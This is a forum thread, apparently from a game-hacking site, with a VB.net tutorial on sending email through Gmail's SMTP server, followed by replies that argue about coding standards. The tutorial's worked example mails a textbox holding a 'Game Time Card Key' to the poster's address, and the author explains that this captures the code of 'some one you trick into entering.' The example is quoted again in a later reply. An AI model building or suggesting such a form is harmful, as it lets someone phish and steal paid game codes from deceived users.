[VB.net] Sending email via SMTP menu

Shout-Out

User Tag List

Results 1 to 11 of 11
  1. #1
    OMGPanic!'s Avatar Member
    Reputation
    8
    Join Date
    Oct 2008
    Posts
    71
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    [VB.net] Sending email via SMTP

    I thought this section was a bit empty from usefull tutorials so i thought id write one that not only teaches something but is also useful for members of this forums.

    Sending email from a VB.net application is alot easier than you may think but only once you learn the proper way to do it.

    The first thing to do if you would like to send emails from your application is to get your emails SMTP settings. Some email providers do not supply this information but Gmail accounts can be set up in seconds and are the easiest to use. If you do not have a gmail account find you SMTP settings from the email providers help site or make a Gmail account (and i will provide the settings.)

    Open your application and go into the code view (Double click on anything in the form.)

    To send emails we need to import the System.Net.Mail package. To do this simple add this line of code to the top of your code (even above your public class header)
    Code:
    Imports System.Net.Mail
    This will import all methods and variables from the System.Net.Mail package when the proggram loads. Now define the following sub routine under your "Public Class <NameOfForm>" line.

    Code:
    Sub email(ByVal FromEmail As String, ByVal Password As String, ByVal ToEmail As String, ByVal Subject As String, ByVal Message As String)
            Dim eMailMessage As New MailMessage()
            eMailMessage.From = New MailAddress(FromEmail)
            eMailMessage.To.Add(ToEmail)
            eMailMessage.Subject = Subject
            eMailMessage.Body = Message
            'SMTP settings, only modify these if you do not use Gmail
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New System.Net.NetworkCredential(FromEmail, Password)
            SMTPServer.EnableSsl = True
    
            SMTPServer.Send(eMailMessage)
            'MessageBox.Show("Message Sent")
            'Remove the ' from the line above to enable a message box upon sending the email
        End Sub
    This code creates a MailMessage object, defines the variables for the message, defines the SMTP server then pushes the Mail Message through the SMTP server.

    How to use it:
    This is really simple to use, i will use the example of a button clickas that is most used event for new proggramers.

    Double click your button and it will take you to the onClick event for that button then call the email function using this format:
    Code:
    email("Your Email", "Your pass", "To Email", "Subject", "Message")
    If you want to use information from textboxes etc from your form then simply use the text container without quotation marks.

    Example:
    Code:
    email("[email protected]", "password", "[email protected]", "Game Time Card Key", txtGameCardKey.text)
    This would send an email to you containing the GTC code of some one you trick into entering.

    I hope this is usefull for you, if you have any questiong feel free to ask.
    Moved house and now have limited internet access. Cant work till its back. STRESSED.

    [VB.net] Sending email via SMTP
  2. #2
    Zeroi9's Avatar Banned
    Reputation
    286
    Join Date
    Aug 2008
    Posts
    911
    Thanks G/R
    0/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Good guide, thought I already knew it.
    +Rep

  3. #3
    OMGPanic!'s Avatar Member
    Reputation
    8
    Join Date
    Oct 2008
    Posts
    71
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Thanks for the reply.

    My motivation for this was to show what a guide should be like.

    Had some bad news today and found that i have to move house tommorow so will have limited internet access untill my isp switches me over. I plan on writting a good introduction to VB.net tonight so that ill be able to help people out while not actualy being around too often. =]
    Moved house and now have limited internet access. Cant work till its back. STRESSED.

  4. #4
    The Maffyx's Avatar Contributor

    Reputation
    249
    Join Date
    Feb 2007
    Posts
    1,186
    Thanks G/R
    0/4
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    It has already been discussed here:
    http://www.mmowned.com/forums/vb/146...ing-mails.html


  5. #5
    OMGPanic!'s Avatar Member
    Reputation
    8
    Join Date
    Oct 2008
    Posts
    71
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Didnt see that before but:

    1. His converted code was naturaly a mess (I wouldn't clean it up if i converted it either lol)
    2. My tutorial is actualy aimed to teach people, not just provide code for them to copy and paste.
    Moved house and now have limited internet access. Cant work till its back. STRESSED.

  6. #6
    The Maffyx's Avatar Contributor

    Reputation
    249
    Join Date
    Feb 2007
    Posts
    1,186
    Thanks G/R
    0/4
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    From what I've seen, people here don't learn by reading, they learn by copying and pasting, then coming back and complaining there are errors before they read. The only real way to learn is to take a class on it imo.


  7. #7
    Apoc's Avatar Angry Penguin
    Reputation
    1388
    Join Date
    Jan 2008
    Posts
    2,750
    Thanks G/R
    0/13
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by The Maffyx View Post
    From what I've seen, people here don't learn by reading, they learn by copying and pasting, then coming back and complaining there are errors before they read. The only real way to learn is to take a class on it imo.
    Not true. I've never taken a class on any programming language, and I do just fine. The best way to learn is to copy/paste then mess with the code until you understand exactly what it does. (That's pretty much how I've learned, aside from just plain figuring stuff out for myself)

    And OMGPanic! my code is commented for a reason. It explains itself if you read it. You don't need some in depth tutorial to explain small snippets of code. (Sending emails are small snippets of code FYI)

    Also, the code is not a mess. It may be a mess to you because you lack the ability to code properly, and adhere to proper standards, or just a lack of the language and runtime. The only issue with the converted code was the 'var' keyword that slipped in there. Since VB.NET doesn't support anonymous types, it didn't convert very well. (Though if you read the code, you can fix the issue easily)

    Don't try and speak on topics you don't know much about. And don't make me have to correct you again, it's tiresome and annoying.

  8. #8
    OMGPanic!'s Avatar Member
    Reputation
    8
    Join Date
    Oct 2008
    Posts
    71
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Apoc View Post
    Not true. I've never taken a class on any programming language, and I do just fine. The best way to learn is to copy/paste then mess with the code until you understand exactly what it does. (That's pretty much how I've learned, aside from just plain figuring stuff out for myself)

    And OMGPanic! my code is commented for a reason. It explains itself if you read it. You don't need some in depth tutorial to explain small snippets of code. (Sending emails are small snippets of code FYI)

    Also, the code is not a mess. It may be a mess to you because you lack the ability to code properly, and adhere to proper standards, or just a lack of the language and runtime. The only issue with the converted code was the 'var' keyword that slipped in there. Since VB.NET doesn't support anonymous types, it didn't convert very well. (Though if you read the code, you can fix the issue easily)

    Don't try and speak on topics you don't know much about. And don't make me have to correct you again, it's tiresome and annoying.
    Sorry to hear that you dont like my lack of standards in this heap of code but from my view something so simple such as a vb code snippit hardly requires strict naming standards to be readable.

    Im sorry if i offended you as i honestly did not intend to but i feel slightly offended that you claim that i know nothing abbout proggraming given the fact i have posted nothing anywhere near a full application. You are slightly right in the fact that i am not used to the runtime lib's due to having using the GTK & Mono libraries for the past year or 2 (Which i have to say handle alot better than the square wheel that is .net)

    I have attended both courses on proggraming (C++, Java and PHP) and even been to a seminar on proggram structure and developement writing more ERDs and DFD's than most sane minds can take so please dont try and act all high and mighty .net knowledge to some one who is currently a paid web developer who just wants to help people out.
    Moved house and now have limited internet access. Cant work till its back. STRESSED.

  9. #9
    Apoc's Avatar Angry Penguin
    Reputation
    1388
    Join Date
    Jan 2008
    Posts
    2,750
    Thanks G/R
    0/13
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by OMGPanic! View Post
    Sorry to hear that you dont like my lack of standards in this heap of code but from my view something so simple such as a vb code snippit hardly requires strict naming standards to be readable.

    Im sorry if i offended you as i honestly did not intend to but i feel slightly offended that you claim that i know nothing abbout proggraming given the fact i have posted nothing anywhere near a full application. You are slightly right in the fact that i am not used to the runtime lib's due to having using the GTK & Mono libraries for the past year or 2 (Which i have to say handle alot better than the square wheel that is .net)

    I have attended both courses on proggraming (C++, Java and PHP) and even been to a seminar on proggram structure and developement writing more ERDs and DFD's than most sane minds can take so please dont try and act all high and mighty .net knowledge to some one who is currently a paid web developer who just wants to help people out.
    Just because it's simple doesn't mean you should write sloppy code.

    Offending me is something very few people are capable of, so don't worry

    I never claimed you know 'nothing' about programming. I stated that you may 'lack knowledge of the language, and runtime'. Also, .NET is far more stable than Mono, and far more feature complete. (Notice: Mono is a spin-off of .NET to support *nix, which may be obsolete soon anyway) It's one of the 4 things Microsoft has done right. (.NET, Visual Studio, C#, and Server 200 I won't say much about GTK# since I've only worked with it two or three times, but I wasn't too happy about the structure of the framework.

    For the love of god, don't get me started on ERD's and DFD's. I'd prefer to not lose sleep... again.

    P.S: Don't play the 'I'm not paid to program in .NET' card. I don't even work with computers for a living FYI.

    Lastly, EW JAVA!

  10. #10
    Rezzi's Avatar Contributor
    Reputation
    83
    Join Date
    Jun 2008
    Posts
    344
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by OMGPanic! View Post
    I thought this section was a bit empty from usefull tutorials so i thought id write one that not only teaches something but is also useful for members of this forums.

    Sending email from a VB.net application is alot easier than you may think but only once you learn the proper way to do it.

    The first thing to do if you would like to send emails from your application is to get your emails SMTP settings. Some email providers do not supply this information but Gmail accounts can be set up in seconds and are the easiest to use. If you do not have a gmail account find you SMTP settings from the email providers help site or make a Gmail account (and i will provide the settings.)

    Open your application and go into the code view (Double click on anything in the form.)

    To send emails we need to import the System.Net.Mail package. To do this simple add this line of code to the top of your code (even above your public class header)
    Code:
    Imports System.Net.Mail
    This will import all methods and variables from the System.Net.Mail package when the proggram loads. Now define the following sub routine under your "Public Class <NameOfForm>" line.

    Code:
    Sub email(ByVal FromEmail As String, ByVal Password As String, ByVal ToEmail As String, ByVal Subject As String, ByVal Message As String)
            Dim eMailMessage As New MailMessage()
            eMailMessage.From = New MailAddress(FromEmail)
            eMailMessage.To.Add(ToEmail)
            eMailMessage.Subject = Subject
            eMailMessage.Body = Message
            'SMTP settings, only modify these if you do not use Gmail
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New System.Net.NetworkCredential(FromEmail, Password)
            SMTPServer.EnableSsl = True
    
            SMTPServer.Send(eMailMessage)
            'MessageBox.Show("Message Sent")
            'Remove the ' from the line above to enable a message box upon sending the email
        End Sub
    This code creates a MailMessage object, defines the variables for the message, defines the SMTP server then pushes the Mail Message through the SMTP server.

    How to use it:
    This is really simple to use, i will use the example of a button clickas that is most used event for new proggramers.

    Double click your button and it will take you to the onClick event for that button then call the email function using this format:
    Code:
    email("Your Email", "Your pass", "To Email", "Subject", "Message")
    If you want to use information from textboxes etc from your form then simply use the text container without quotation marks.

    Example:
    Code:
    email("[email protected]", "password", "[email protected]", "Game Time Card Key", txtGameCardKey.text)

    This would send an email to you containing the GTC code of some one you trick into entering.

    I hope this is usefull for you, if you have any questiong feel free to ask.

    What if I had a list box and depending on what they put into that box, would determine the subject and text of the e-mail , and also if they didn't choose something from the list then there would be a message box sayin

    "You must select one of the following to continue"

    Thanks in advance!

  11. #11
    Zeroi9's Avatar Banned
    Reputation
    286
    Join Date
    Aug 2008
    Posts
    911
    Thanks G/R
    0/1
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by Lucien View Post
    What if I had a list box and depending on what they put into that box, would determine the subject and text of the e-mail , and also if they didn't choose something from the list then there would be a message box sayin

    "You must select one of the following to continue"

    Thanks in advance!
    Just write like

    Mail.To([email protected])
    Type instead
    Mail.To Textbox1.text

Similar Threads

  1. [VB.NET] Send value of a memory address via SMTP?
    By Y R U A NUB ? in forum Programming
    Replies: 3
    Last Post: 07-09-2009, 06:05 PM
  2. [Help Wanted]Admin/Dev send Mail via Website
    By Zaphieon in forum World of Warcraft Emulator Servers
    Replies: 0
    Last Post: 10-19-2007, 11:48 AM
All times are GMT -5. The time now is 12:42 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google Authenticator verification provided by Two-Factor Authentication (Free) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search